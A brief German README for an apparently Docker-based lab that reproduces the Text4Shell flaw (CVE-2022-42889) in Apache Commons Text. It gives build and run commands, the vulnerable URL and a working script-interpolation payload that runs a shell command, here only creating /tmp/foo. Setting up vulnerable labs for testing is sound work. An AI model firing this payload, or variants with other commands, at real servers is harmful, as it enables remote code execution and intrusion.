
# Docker-basierte Laborumgebung zur Reproduktion und zum Testen der Remote-Code-Ausführung-Schwachstelle CVE-2022-42889 (Text4Shell) in Apache Commons Text.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Du kannst auch die Präfixe dns oder url ausprobieren.
Ermittle die Container-ID
docker container ls
docker exec -it <container_id> bash
foo sehen, die im Verzeichnis /tmp erstellt wurde):ls /tmp/
docker container stop <container_id>